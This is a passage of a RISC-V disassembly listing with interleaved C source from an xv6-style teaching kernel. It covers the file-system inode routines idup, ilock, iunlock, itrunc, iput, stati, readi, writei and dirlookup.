40c8 lw a0,4(s1) 80003c1a: 893d andi a0,a0,15 80003c1c: 051a slli a0,a0,0x6 80003c1e: 953e add a0,a0,a5 dip->type = ip->type; 80003c20: 04449703 lh a4,68(s1) 80003c24: 00e51023 sh a4,0(a0) dip->major = ip->major; 80003c28: 04649703 lh a4,70(s1) 80003c2c: 00e51123 sh a4,2(a0) dip->minor = ip->minor; 80003c30: 04849703 lh a4,72(s1) 80003c34: 00e51223 sh a4,4(a0) dip->nlink = ip->nlink; 80003c38: 04a49703 lh a4,74(s1) 80003c3c: 00e51323 sh a4,6(a0) dip->size = ip->size; 80003c40: 44f8 lw a4,76(s1) 80003c42: c518 sw a4,8(a0) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80003c44: 03400613 li a2,52 80003c48: 05048593 addi a1,s1,80 80003c4c: 0531 addi a0,a0,12 80003c4e: ffffd097 auipc ra,0xffffd 80003c52: 0cc080e7 jalr 204(ra) # 80000d1a <memmove> log_write(bp); 80003c56: 854a mv a0,s2 80003c58: 00001097 auipc ra,0x1 80003c5c: c0a080e7 jalr -1014(ra) # 80004862 <log_write> brelse(bp); 80003c60: 854a mv a0,s2 80003c62: 00000097 auipc ra,0x0 80003c66: 97e080e7 jalr -1666(ra) # 800035e0 <brelse> } 80003c6a: 60e2 ld ra,24(sp) 80003c6c: 6442 ld s0,16(sp) 80003c6e: 64a2 ld s1,8(sp) 80003c70: 6902 ld s2,0(sp) 80003c72: 6105 addi sp,sp,32 80003c74: 8082 ret 0000000080003c76 <idup>: { 80003c76: 1101 addi sp,sp,-32 80003c78: ec06 sd ra,24(sp) 80003c7a: e822 sd s0,16(sp) 80003c7c: e426 sd s1,8(sp) 80003c7e: 1000 addi s0,sp,32 80003c80: 84aa mv s1,a0 acquire(&itable.lock); 80003c82: 0001c517 auipc a0,0x1c 80003c86: 35e50513 addi a0,a0,862 # 8001ffe0 <itable> 80003c8a: ffffd097 auipc ra,0xffffd 80003c8e: f38080e7 jalr -200(ra) # 80000bc2 <acquire> ip->ref++; 80003c92: 449c lw a5,8(s1) 80003c94: 2785 addiw a5,a5,1 80003c96: c49c sw a5,8(s1) release(&itable.lock); 80003c98: 0001c517 auipc a0,0x1c 80003c9c: 34850513 addi a0,a0,840 # 8001ffe0 <itable> 80003ca0: ffffd097 auipc ra,0xffffd 80003ca4: fd6080e7 jalr -42(ra) # 80000c76 <release> } 80003ca8: 8526 mv a0,s1 80003caa: 60e2 ld ra,24(sp) 80003cac: 6442 ld s0,16(sp) 80003cae: 64a2 ld s1,8(sp) 80003cb0: 6105 addi sp,sp,32 80003cb2: 8082 ret 0000000080003cb4 <ilock>: { 80003cb4: 1101 addi sp,sp,-32 80003cb6: ec06 sd ra,24(sp) 80003cb8: e822 sd s0,16(sp) 80003cba: e426 sd s1,8(sp) 80003cbc: e04a sd s2,0(sp) 80003cbe: 1000 addi s0,sp,32 if(ip == 0 || ip->ref < 1) 80003cc0: c115 beqz a0,80003ce4 <ilock+0x30> 80003cc2: 84aa mv s1,a0 80003cc4: 451c lw a5,8(a0) 80003cc6: 00f05f63 blez a5,80003ce4 <ilock+0x30> acquiresleep(&ip->lock); 80003cca: 0541 addi a0,a0,16 80003ccc: 00001097 auipc ra,0x1 80003cd0: cb6080e7 jalr -842(ra) # 80004982 <acquiresleep> if(ip->valid == 0){ 80003cd4: 40bc lw a5,64(s1) 80003cd6: cf99 beqz a5,80003cf4 <ilock+0x40> } 80003cd8: 60e2 ld ra,24(sp) 80003cda: 6442 ld s0,16(sp) 80003cdc: 64a2 ld s1,8(sp) 80003cde: 6902 ld s2,0(sp) 80003ce0: 6105 addi sp,sp,32 80003ce2: 8082 ret panic("ilock"); 80003ce4: 00005517 auipc a0,0x5 80003ce8: b1c50513 addi a0,a0,-1252 # 80008800 <syscalls+0x1d0> 80003cec: ffffd097 auipc ra,0xffffd 80003cf0: 83e080e7 jalr -1986(ra) # 8000052a <panic> bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80003cf4: 40dc lw a5,4(s1) 80003cf6: 0047d79b srliw a5,a5,0x4 80003cfa: 0001c597 auipc a1,0x1c 80003cfe: 2de5a583 lw a1,734(a1) # 8001ffd8 <sb+0x18> 80003d02: 9dbd addw a1,a1,a5 80003d04: 4088 lw a0,0(s1) 80003d06: fffff097 auipc ra,0xfffff 80003d0a: 7aa080e7 jalr 1962(ra) # 800034b0 <bread> 80003d0e: 892a mv s2,a0 dip = (struct dinode*)bp->data + ip->inum%IPB; 80003d10: 05850593 addi a1,a0,88 80003d14: 40dc lw a5,4(s1) 80003d16: 8bbd andi a5,a5,15 80003d18: 079a slli a5,a5,0x6 80003d1a: 95be add a1,a1,a5 ip->type = dip->type; 80003d1c: 00059783 lh a5,0(a1) 80003d20: 04f49223 sh a5,68(s1) ip->major = dip->major; 80003d24: 00259783 lh a5,2(a1) 80003d28: 04f49323 sh a5,70(s1) ip->minor = dip->minor; 80003d2c: 00459783 lh a5,4(a1) 80003d30: 04f49423 sh a5,72(s1) ip->nlink = dip->nlink; 80003d34: 00659783 lh a5,6(a1) 80003d38: 04f49523 sh a5,74(s1) ip->size = dip->size; 80003d3c: 459c lw a5,8(a1) 80003d3e: c4fc sw a5,76(s1) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80003d40: 03400613 li a2,52 80003d44: 05b1 addi a1,a1,12 80003d46: 05048513 addi a0,s1,80 80003d4a: ffffd097 auipc ra,0xffffd 80003d4e: fd0080e7 jalr -48(ra) # 80000d1a <memmove> brelse(bp); 80003d52: 854a mv a0,s2 80003d54: 00000097 auipc ra,0x0 80003d58: 88c080e7 jalr -1908(ra) # 800035e0 <brelse> ip->valid = 1; 80003d5c: 4785 li a5,1 80003d5e: c0bc sw a5,64(s1) if(ip->type == 0) 80003d60: 04449783 lh a5,68(s1) 80003d64: fbb5 bnez a5,80003cd8 <ilock+0x24> panic("ilock: no type"); 80003d66: 00005517 auipc a0,0x5 80003d6a: aa250513 addi a0,a0,-1374 # 80008808 <syscalls+0x1d8> 80003d6e: ffffc097 auipc ra,0xffffc 80003d72: 7bc080e7 jalr 1980(ra) # 8000052a <panic> 0000000080003d76 <iunlock>: { 80003d76: 1101 addi sp,sp,-32 80003d78: ec06 sd ra,24(sp) 80003d7a: e822 sd s0,16(sp) 80003d7c: e426 sd s1,8(sp) 80003d7e: e04a sd s2,0(sp) 80003d80: 1000 addi s0,sp,32 if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80003d82: c905 beqz a0,80003db2 <iunlock+0x3c> 80003d84: 84aa mv s1,a0 80003d86: 01050913 addi s2,a0,16 80003d8a: 854a mv a0,s2 80003d8c: 00001097 auipc ra,0x1 80003d90: c90080e7 jalr -880(ra) # 80004a1c <holdingsleep> 80003d94: cd19 beqz a0,80003db2 <iunlock+0x3c> 80003d96: 449c lw a5,8(s1) 80003d98: 00f05d63 blez a5,80003db2 <iunlock+0x3c> releasesleep(&ip->lock); 80003d9c: 854a mv a0,s2 80003d9e: 00001097 auipc ra,0x1 80003da2: c3a080e7 jalr -966(ra) # 800049d8 <releasesleep> } 80003da6: 60e2 ld ra,24(sp) 80003da8: 6442 ld s0,16(sp) 80003daa: 64a2 ld s1,8(sp) 80003dac: 6902 ld s2,0(sp) 80003dae: 6105 addi sp,sp,32 80003db0: 8082 ret panic("iunlock"); 80003db2: 00005517 auipc a0,0x5 80003db6: a6650513 addi a0,a0,-1434 # 80008818 <syscalls+0x1e8> 80003dba: ffffc097 auipc ra,0xffffc 80003dbe: 770080e7 jalr 1904(ra) # 8000052a <panic> 0000000080003dc2 <itrunc>: // Truncate inode (discard contents). // Caller must hold ip->lock. void itrunc(struct inode *ip) { 80003dc2: 7179 addi sp,sp,-48 80003dc4: f406 sd ra,40(sp) 80003dc6: f022 sd s0,32(sp) 80003dc8: ec26 sd s1,24(sp) 80003dca: e84a sd s2,16(sp) 80003dcc: e44e sd s3,8(sp) 80003dce: e052 sd s4,0(sp) 80003dd0: 1800 addi s0,sp,48 80003dd2: 89aa mv s3,a0 int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80003dd4: 05050493 addi s1,a0,80 80003dd8: 08050913 addi s2,a0,128 80003ddc: a021 j 80003de4 <itrunc+0x22> 80003dde: 0491 addi s1,s1,4 80003de0: 01248d63 beq s1,s2,80003dfa <itrunc+0x38> if(ip->addrs[i]){ 80003de4: 408c lw a1,0(s1) 80003de6: dde5 beqz a1,80003dde <itrunc+0x1c> bfree(ip->dev, ip->addrs[i]); 80003de8: 0009a503 lw a0,0(s3) 80003dec: 00000097 auipc ra,0x0 80003df0: 90a080e7 jalr -1782(ra) # 800036f6 <bfree> ip->addrs[i] = 0; 80003df4: 0004a023 sw zero,0(s1) 80003df8: b7dd j 80003dde <itrunc+0x1c> } } if(ip->addrs[NDIRECT]){ 80003dfa: 0809a583 lw a1,128(s3) 80003dfe: e185 bnez a1,80003e1e <itrunc+0x5c> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 80003e00: 0409a623 sw zero,76(s3) iupdate(ip); 80003e04: 854e mv a0,s3 80003e06: 00000097 auipc ra,0x0 80003e0a: de4080e7 jalr -540(ra) # 80003bea <iupdate> } 80003e0e: 70a2 ld ra,40(sp) 80003e10: 7402 ld s0,32(sp) 80003e12: 64e2 ld s1,24(sp) 80003e14: 6942 ld s2,16(sp) 80003e16: 69a2 ld s3,8(sp) 80003e18: 6a02 ld s4,0(sp) 80003e1a: 6145 addi sp,sp,48 80003e1c: 8082 ret bp = bread(ip->dev, ip->addrs[NDIRECT]); 80003e1e: 0009a503 lw a0,0(s3) 80003e22: fffff097 auipc ra,0xfffff 80003e26: 68e080e7 jalr 1678(ra) # 800034b0 <bread> 80003e2a: 8a2a mv s4,a0 for(j = 0; j < NINDIRECT; j++){ 80003e2c: 05850493 addi s1,a0,88 80003e30: 45850913 addi s2,a0,1112 80003e34: a021 j 80003e3c <itrunc+0x7a> 80003e36: 0491 addi s1,s1,4 80003e38: 01248b63 beq s1,s2,80003e4e <itrunc+0x8c> if(a[j]) 80003e3c: 408c lw a1,0(s1) 80003e3e: dde5 beqz a1,80003e36 <itrunc+0x74> bfree(ip->dev, a[j]); 80003e40: 0009a503 lw a0,0(s3) 80003e44: 00000097 auipc ra,0x0 80003e48: 8b2080e7 jalr -1870(ra) # 800036f6 <bfree> 80003e4c: b7ed j 80003e36 <itrunc+0x74> brelse(bp); 80003e4e: 8552 mv a0,s4 80003e50: fffff097 auipc ra,0xfffff 80003e54: 790080e7 jalr 1936(ra) # 800035e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 80003e58: 0809a583 lw a1,128(s3) 80003e5c: 0009a503 lw a0,0(s3) 80003e60: 00000097 auipc ra,0x0 80003e64: 896080e7 jalr -1898(ra) # 800036f6 <bfree> ip->addrs[NDIRECT] = 0; 80003e68: 0809a023 sw zero,128(s3) 80003e6c: bf51 j 80003e00 <itrunc+0x3e> 0000000080003e6e <iput>: { 80003e6e: 1101 addi sp,sp,-32 80003e70: ec06 sd ra,24(sp) 80003e72: e822 sd s0,16(sp) 80003e74: e426 sd s1,8(sp) 80003e76: e04a sd s2,0(sp) 80003e78: 1000 addi s0,sp,32 80003e7a: 84aa mv s1,a0 acquire(&itable.lock); 80003e7c: 0001c517 auipc a0,0x1c 80003e80: 16450513 addi a0,a0,356 # 8001ffe0 <itable> 80003e84: ffffd097 auipc ra,0xffffd 80003e88: d3e080e7 jalr -706(ra) # 80000bc2 <acquire> if(ip->ref == 1 && ip->valid && ip->nlink == 0){ 80003e8c: 4498 lw a4,8(s1) 80003e8e: 4785 li a5,1 80003e90: 02f70363 beq a4,a5,80003eb6 <iput+0x48> ip->ref--; 80003e94: 449c lw a5,8(s1) 80003e96: 37fd addiw a5,a5,-1 80003e98: c49c sw a5,8(s1) release(&itable.lock); 80003e9a: 0001c517 auipc a0,0x1c 80003e9e: 14650513 addi a0,a0,326 # 8001ffe0 <itable> 80003ea2: ffffd097 auipc ra,0xffffd 80003ea6: dd4080e7 jalr -556(ra) # 80000c76 <release> } 80003eaa: 60e2 ld ra,24(sp) 80003eac: 6442 ld s0,16(sp) 80003eae: 64a2 ld s1,8(sp) 80003eb0: 6902 ld s2,0(sp) 80003eb2: 6105 addi sp,sp,32 80003eb4: 8082 ret if(ip->ref == 1 && ip->valid && ip->nlink == 0){ 80003eb6: 40bc lw a5,64(s1) 80003eb8: dff1 beqz a5,80003e94 <iput+0x26> 80003eba: 04a49783 lh a5,74(s1) 80003ebe: fbf9 bnez a5,80003e94 <iput+0x26> acquiresleep(&ip->lock); 80003ec0: 01048913 addi s2,s1,16 80003ec4: 854a mv a0,s2 80003ec6: 00001097 auipc ra,0x1 80003eca: abc080e7 jalr -1348(ra) # 80004982 <acquiresleep> release(&itable.lock); 80003ece: 0001c517 auipc a0,0x1c 80003ed2: 11250513 addi a0,a0,274 # 8001ffe0 <itable> 80003ed6: ffffd097 auipc ra,0xffffd 80003eda: da0080e7 jalr -608(ra) # 80000c76 <release> itrunc(ip); 80003ede: 8526 mv a0,s1 80003ee0: 00000097 auipc ra,0x0 80003ee4: ee2080e7 jalr -286(ra) # 80003dc2 <itrunc> ip->type = 0; 80003ee8: 04049223 sh zero,68(s1) iupdate(ip); 80003eec: 8526 mv a0,s1 80003eee: 00000097 auipc ra,0x0 80003ef2: cfc080e7 jalr -772(ra) # 80003bea <iupdate> ip->valid = 0; 80003ef6: 0404a023 sw zero,64(s1) releasesleep(&ip->lock); 80003efa: 854a mv a0,s2 80003efc: 00001097 auipc ra,0x1 80003f00: adc080e7 jalr -1316(ra) # 800049d8 <releasesleep> acquire(&itable.lock); 80003f04: 0001c517 auipc a0,0x1c 80003f08: 0dc50513 addi a0,a0,220 # 8001ffe0 <itable> 80003f0c: ffffd097 auipc ra,0xffffd 80003f10: cb6080e7 jalr -842(ra) # 80000bc2 <acquire> 80003f14: b741 j 80003e94 <iput+0x26> 0000000080003f16 <iunlockput>: { 80003f16: 1101 addi sp,sp,-32 80003f18: ec06 sd ra,24(sp) 80003f1a: e822 sd s0,16(sp) 80003f1c: e426 sd s1,8(sp) 80003f1e: 1000 addi s0,sp,32 80003f20: 84aa mv s1,a0 iunlock(ip); 80003f22: 00000097 auipc ra,0x0 80003f26: e54080e7 jalr -428(ra) # 80003d76 <iunlock> iput(ip); 80003f2a: 8526 mv a0,s1 80003f2c: 00000097 auipc ra,0x0 80003f30: f42080e7 jalr -190(ra) # 80003e6e <iput> } 80003f34: 60e2 ld ra,24(sp) 80003f36: 6442 ld s0,16(sp) 80003f38: 64a2 ld s1,8(sp) 80003f3a: 6105 addi sp,sp,32 80003f3c: 8082 ret 0000000080003f3e <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80003f3e: 1141 addi sp,sp,-16 80003f40: e422 sd s0,8(sp) 80003f42: 0800 addi s0,sp,16 st->dev = ip->dev; 80003f44: 411c lw a5,0(a0) 80003f46: c19c sw a5,0(a1) st->ino = ip->inum; 80003f48: 415c lw a5,4(a0) 80003f4a: c1dc sw a5,4(a1) st->type = ip->type; 80003f4c: 04451783 lh a5,68(a0) 80003f50: 00f59423 sh a5,8(a1) st->nlink = ip->nlink; 80003f54: 04a51783 lh a5,74(a0) 80003f58: 00f59523 sh a5,10(a1) st->size = ip->size; 80003f5c: 04c56783 lwu a5,76(a0) 80003f60: e99c sd a5,16(a1) } 80003f62: 6422 ld s0,8(sp) 80003f64: 0141 addi sp,sp,16 80003f66: 8082 ret 0000000080003f68 <readi>: readi(struct inode *ip, int user_dst, uint64 dst, uint off, uint n) { uint tot, m; struct buf *bp; if(off > ip->size || off + n < off) 80003f68: 457c lw a5,76(a0) 80003f6a: 0ed7e963 bltu a5,a3,8000405c <readi+0xf4> { 80003f6e: 7159 addi sp,sp,-112 80003f70: f486 sd ra,104(sp) 80003f72: f0a2 sd s0,96(sp) 80003f74: eca6 sd s1,88(sp) 80003f76: e8ca sd s2,80(sp) 80003f78: e4ce sd s3,72(sp) 80003f7a: e0d2 sd s4,64(sp) 80003f7c: fc56 sd s5,56(sp) 80003f7e: f85a sd s6,48(sp) 80003f80: f45e sd s7,40(sp) 80003f82: f062 sd s8,32(sp) 80003f84: ec66 sd s9,24(sp) 80003f86: e86a sd s10,16(sp) 80003f88: e46e sd s11,8(sp) 80003f8a: 1880 addi s0,sp,112 80003f8c: 8baa mv s7,a0 80003f8e: 8c2e mv s8,a1 80003f90: 8ab2 mv s5,a2 80003f92: 84b6 mv s1,a3 80003f94: 8b3a mv s6,a4 if(off > ip->size || off + n < off) 80003f96: 9f35 addw a4,a4,a3 return 0; 80003f98: 4501 li a0,0 if(off > ip->size || off + n < off) 80003f9a: 0ad76063 bltu a4,a3,8000403a <readi+0xd2> if(off + n > ip->size) 80003f9e: 00e7f463 bgeu a5,a4,80003fa6 <readi+0x3e> n = ip->size - off; 80003fa2: 40d78b3b subw s6,a5,a3 for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80003fa6: 0a0b0963 beqz s6,80004058 <readi+0xf0> 80003faa: 4981 li s3,0 bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 80003fac: 40000d13 li s10,1024 if(either_copyout(user_dst, dst, bp->data + (off % BSIZE), m) == -1) { 80003fb0: 5cfd li s9,-1 80003fb2: a82d j 80003fec <readi+0x84> 80003fb4: 020a1d93 slli s11,s4,0x20 80003fb8: 020ddd93 srli s11,s11,0x20 80003fbc: 05890793 addi a5,s2,88 80003fc0: 86ee mv a3,s11 80003fc2: 963e add a2,a2,a5 80003fc4: 85d6 mv a1,s5 80003fc6: 8562 mv a0,s8 80003fc8: ffffe097 auipc ra,0xffffe 80003fcc: 612080e7 jalr 1554(ra) # 800025da <either_copyout> 80003fd0: 05950d63 beq a0,s9,8000402a <readi+0xc2> brelse(bp); tot = -1; break; } brelse(bp); 80003fd4: 854a mv a0,s2 80003fd6: fffff097 auipc ra,0xfffff 80003fda: 60a080e7 jalr 1546(ra) # 800035e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80003fde: 013a09bb addw s3,s4,s3 80003fe2: 009a04bb addw s1,s4,s1 80003fe6: 9aee add s5,s5,s11 80003fe8: 0569f763 bgeu s3,s6,80004036 <readi+0xce> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80003fec: 000ba903 lw s2,0(s7) 80003ff0: 00a4d59b srliw a1,s1,0xa 80003ff4: 855e mv a0,s7 80003ff6: 00000097 auipc ra,0x0 80003ffa: 8ae080e7 jalr -1874(ra) # 800038a4 <bmap> 80003ffe: 0005059b sext.w a1,a0 80004002: 854a mv a0,s2 80004004: fffff097 auipc ra,0xfffff 80004008: 4ac080e7 jalr 1196(ra) # 800034b0 <bread> 8000400c: 892a mv s2,a0 m = min(n - tot, BSIZE - off%BSIZE); 8000400e: 3ff4f613 andi a2,s1,1023 80004012: 40cd07bb subw a5,s10,a2 80004016: 413b073b subw a4,s6,s3 8000401a: 8a3e mv s4,a5 8000401c: 2781 sext.w a5,a5 8000401e: 0007069b sext.w a3,a4 80004022: f8f6f9e3 bgeu a3,a5,80003fb4 <readi+0x4c> 80004026: 8a3a mv s4,a4 80004028: b771 j 80003fb4 <readi+0x4c> brelse(bp); 8000402a: 854a mv a0,s2 8000402c: fffff097 auipc ra,0xfffff 80004030: 5b4080e7 jalr 1460(ra) # 800035e0 <brelse> tot = -1; 80004034: 59fd li s3,-1 } return tot; 80004036: 0009851b sext.w a0,s3 } 8000403a: 70a6 ld ra,104(sp) 8000403c: 7406 ld s0,96(sp) 8000403e: 64e6 ld s1,88(sp) 80004040: 6946 ld s2,80(sp) 80004042: 69a6 ld s3,72(sp) 80004044: 6a06 ld s4,64(sp) 80004046: 7ae2 ld s5,56(sp) 80004048: 7b42 ld s6,48(sp) 8000404a: 7ba2 ld s7,40(sp) 8000404c: 7c02 ld s8,32(sp) 8000404e: 6ce2 ld s9,24(sp) 80004050: 6d42 ld s10,16(sp) 80004052: 6da2 ld s11,8(sp) 80004054: 6165 addi sp,sp,112 80004056: 8082 ret for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80004058: 89da mv s3,s6 8000405a: bff1 j 80004036 <readi+0xce> return 0; 8000405c: 4501 li a0,0 } 8000405e: 8082 ret 0000000080004060 <writei>: writei(struct inode *ip, int user_src, uint64 src, uint off, uint n) { uint tot, m; struct buf *bp; if(off > ip->size || off + n < off) 80004060: 457c lw a5,76(a0) 80004062: 10d7e863 bltu a5,a3,80004172 <writei+0x112> { 80004066: 7159 addi sp,sp,-112 80004068: f486 sd ra,104(sp) 8000406a: f0a2 sd s0,96(sp) 8000406c: eca6 sd s1,88(sp) 8000406e: e8ca sd s2,80(sp) 80004070: e4ce sd s3,72(sp) 80004072: e0d2 sd s4,64(sp) 80004074: fc56 sd s5,56(sp) 80004076: f85a sd s6,48(sp) 80004078: f45e sd s7,40(sp) 8000407a: f062 sd s8,32(sp) 8000407c: ec66 sd s9,24(sp) 8000407e: e86a sd s10,16(sp) 80004080: e46e sd s11,8(sp) 80004082: 1880 addi s0,sp,112 80004084: 8b2a mv s6,a0 80004086: 8c2e mv s8,a1 80004088: 8ab2 mv s5,a2 8000408a: 8936 mv s2,a3 8000408c: 8bba mv s7,a4 if(off > ip->size || off + n < off) 8000408e: 00e687bb addw a5,a3,a4 80004092: 0ed7e263 bltu a5,a3,80004176 <writei+0x116> return -1; if(off + n > MAXFILE*BSIZE) 80004096: 00043737 lui a4,0x43 8000409a: 0ef76063 bltu a4,a5,8000417a <writei+0x11a> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 8000409e: 0c0b8863 beqz s7,8000416e <writei+0x10e> 800040a2: 4a01 li s4,0 bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 800040a4: 40000d13 li s10,1024 if(either_copyin(bp->data + (off % BSIZE), user_src, src, m) == -1) { 800040a8: 5cfd li s9,-1 800040aa: a091 j 800040ee <writei+0x8e> 800040ac: 02099d93 slli s11,s3,0x20 800040b0: 020ddd93 srli s11,s11,0x20 800040b4: 05848793 addi a5,s1,88 800040b8: 86ee mv a3,s11 800040ba: 8656 mv a2,s5 800040bc: 85e2 mv a1,s8 800040be: 953e add a0,a0,a5 800040c0: ffffe097 auipc ra,0xffffe 800040c4: 570080e7 jalr 1392(ra) # 80002630 <either_copyin> 800040c8: 07950263 beq a0,s9,8000412c <writei+0xcc> brelse(bp); break; } log_write(bp); 800040cc: 8526 mv a0,s1 800040ce: 00000097 auipc ra,0x0 800040d2: 794080e7 jalr 1940(ra) # 80004862 <log_write> brelse(bp); 800040d6: 8526 mv a0,s1 800040d8: fffff097 auipc ra,0xfffff 800040dc: 508080e7 jalr 1288(ra) # 800035e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 800040e0: 01498a3b addw s4,s3,s4 800040e4: 0129893b addw s2,s3,s2 800040e8: 9aee add s5,s5,s11 800040ea: 057a7663 bgeu s4,s7,80004136 <writei+0xd6> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 800040ee: 000b2483 lw s1,0(s6) 800040f2: 00a9559b srliw a1,s2,0xa 800040f6: 855a mv a0,s6 800040f8: fffff097 auipc ra,0xfffff 800040fc: 7ac080e7 jalr 1964(ra) # 800038a4 <bmap> 80004100: 0005059b sext.w a1,a0 80004104: 8526 mv a0,s1 80004106: fffff097 auipc ra,0xfffff 8000410a: 3aa080e7 jalr 938(ra) # 800034b0 <bread> 8000410e: 84aa mv s1,a0 m = min(n - tot, BSIZE - off%BSIZE); 80004110: 3ff97513 andi a0,s2,1023 80004114: 40ad07bb subw a5,s10,a0 80004118: 414b873b subw a4,s7,s4 8000411c: 89be mv s3,a5 8000411e: 2781 sext.w a5,a5 80004120: 0007069b sext.w a3,a4 80004124: f8f6f4e3 bgeu a3,a5,800040ac <writei+0x4c> 80004128: 89ba mv s3,a4 8000412a: b749 j 800040ac <writei+0x4c> brelse(bp); 8000412c: 8526 mv a0,s1 8000412e: fffff097 auipc ra,0xfffff 80004132: 4b2080e7 jalr 1202(ra) # 800035e0 <brelse> } if(off > ip->size) 80004136: 04cb2783 lw a5,76(s6) 8000413a: 0127f463 bgeu a5,s2,80004142 <writei+0xe2> ip->size = off; 8000413e: 052b2623 sw s2,76(s6) // write the i-node back to disk even if the size didn't change // because the loop above might have called bmap() and added a new // block to ip->addrs[]. iupdate(ip); 80004142: 855a mv a0,s6 80004144: 00000097 auipc ra,0x0 80004148: aa6080e7 jalr -1370(ra) # 80003bea <iupdate> return tot; 8000414c: 000a051b sext.w a0,s4 } 80004150: 70a6 ld ra,104(sp) 80004152: 7406 ld s0,96(sp) 80004154: 64e6 ld s1,88(sp) 80004156: 6946 ld s2,80(sp) 80004158: 69a6 ld s3,72(sp) 8000415a: 6a06 ld s4,64(sp) 8000415c: 7ae2 ld s5,56(sp) 8000415e: 7b42 ld s6,48(sp) 80004160: 7ba2 ld s7,40(sp) 80004162: 7c02 ld s8,32(sp) 80004164: 6ce2 ld s9,24(sp) 80004166: 6d42 ld s10,16(sp) 80004168: 6da2 ld s11,8(sp) 8000416a: 6165 addi sp,sp,112 8000416c: 8082 ret for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 8000416e: 8a5e mv s4,s7 80004170: bfc9 j 80004142 <writei+0xe2> return -1; 80004172: 557d li a0,-1 } 80004174: 8082 ret return -1; 80004176: 557d li a0,-1 80004178: bfe1 j 80004150 <writei+0xf0> return -1; 8000417a: 557d li a0,-1 8000417c: bfd1 j 80004150 <writei+0xf0> 000000008000417e <namecmp>: // Directories int namecmp(const char *s, const char *t) { 8000417e: 1141 addi sp,sp,-16 80004180: e406 sd ra,8(sp) 80004182: e022 sd s0,0(sp) 80004184: 0800 addi s0,sp,16 return strncmp(s, t, DIRSIZ); 80004186: 4639 li a2,14 80004188: ffffd097 auipc ra,0xffffd 8000418c: c0e080e7 jalr -1010(ra) # 80000d96 <strncmp> } 80004190: 60a2 ld ra,8(sp) 80004192: 6402 ld s0,0(sp) 80004194: 0141 addi sp,sp,16 80004196: 8082 ret 0000000080004198 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80004198: 7139 addi sp,sp,-64 8000419a: fc06 sd ra,56(sp) 8000419c: f822 sd s0,48(sp) 8000419e: f426 sd s1,40(sp) 800041a0: f04a sd s2,32(sp) 800041a2: ec4e sd s3,24(sp) 800041a4: e852 sd s4,16(sp) 800041a6: 0080 addi s0,sp,64 uint off, inum; struct dirent de; if(dp->type != T_DIR) 800041a8: 04451703 lh a4,68(a0) 800041ac: 4785 li a5,1 800041ae: 00f71a63 bne a4,a5,800041c2 <dirlookup+0x2a> 800041b2: 892a mv s2,a0 800041b4: 89ae mv s3,a1 800041b6: 8a32 mv s4,a2 panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 800041b8: 457c lw a5,76(a0) 800041ba: 4481 li s1,0 inum = de.inum; return iget(dp->dev, inum); } } return 0; 800041bc: 4501 li a0,0 for(off = 0; off < dp->size; off += sizeof(de)){ 800041be: e79d bnez a5,800041ec <dirlookup+0x54> 800041c0: a8a5 j 80004238 <dirlookup+0xa0> panic("dirlookup not DIR"); 800041c2: 00004517 auipc a0,0x4 800041c6: 65e50513 addi a0,a0,1630 # 80008820 <syscalls+0x1f0> 800041ca: ffffc097 auipc ra,0xffffc 800041ce: 360080e7 jalr 864(ra) # 8000052a <panic> panic("dirlookup read"); 800041d2: 00004517 auipc a0,0x4 800041d6: 66650513 addi a0,a0,1638 # 80008838 <syscalls+0x208> 800041da: ffffc097 auipc ra,0xffffc 800041de: 350080e7 jalr 848(ra) # 8000052a <panic> for(off = 0; off < dp->size; off += sizeof(de)){ 800041e2: 24c1 addiw s1,s1,16 800041e4: 04c92783 lw a5,76(s2) 800041e8: 04f4f763 bgeu s1,a5,80004236 <dirlookup+0x9e> if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 800041ec: 4741 li a4,16 800041ee: 86a6 mv a3,s1 800041f0: fc040613 addi a2,s0,-64 800041f4: 4581 li a1,0 800041f6: 854a mv a0,s2 800041f8: 00000097 auipc ra,0x0 800041fc: d70080e7 jalr -656(ra) # 80003f68 <readi> 80004200: 47c1 li a5,16 80004202: fcf518e3 bne a0,a5,800041d2 <dirlookup+0x3a> if(de.inum == 0) 80004206: fc045783 lhu a5,-64(s0) 8000420a: dfe1 beqz a5,800041e2 <dirlookup+0x4a> if(namecmp(name, de.name) == 0){ 8000420c: fc240593 addi a1,s0,-62 80004210: 854e mv a0,s3 80004212: 00000097 auipc ra,0x0 80004216: f6c080e7 jalr -148(ra) # 8000417e <namecmp> 8000421a: f561 bnez a0,800041e2 <dirlookup+0x4a> if(poff) 8000421c: 000a0463 beqz s4,80004224 <dirlookup+0x8c> *poff = off; 80004220: 009a2023 sw s1,0(s4) return iget(dp->dev, inum); 80004224: fc045583 lhu a1,-64(s0) 80004228: 00092503 lw a0,0(s2) 8000422c: fffff097 auipc ra,0xfffff 80004230: 754080e7 jalr 1876(ra) # 80003980 <iget> 80004234: a011 j 80004238 <dirlookup+0xa0> return 0; 80004236: 4501 li a0,0 } 80004238: 70e2 ld ra,56(sp) 8000423a: 7442 ld s0,48(sp) 8000423c: 74a2 ld s1,40(sp) 8000423e: 7902 ld s2,32(sp) 80004240: 69e2 ld s3,24(sp) 80004242: 6a42 ld s4,16(sp) 80004244: 6121 addi sp,sp,64 80004246: 8082 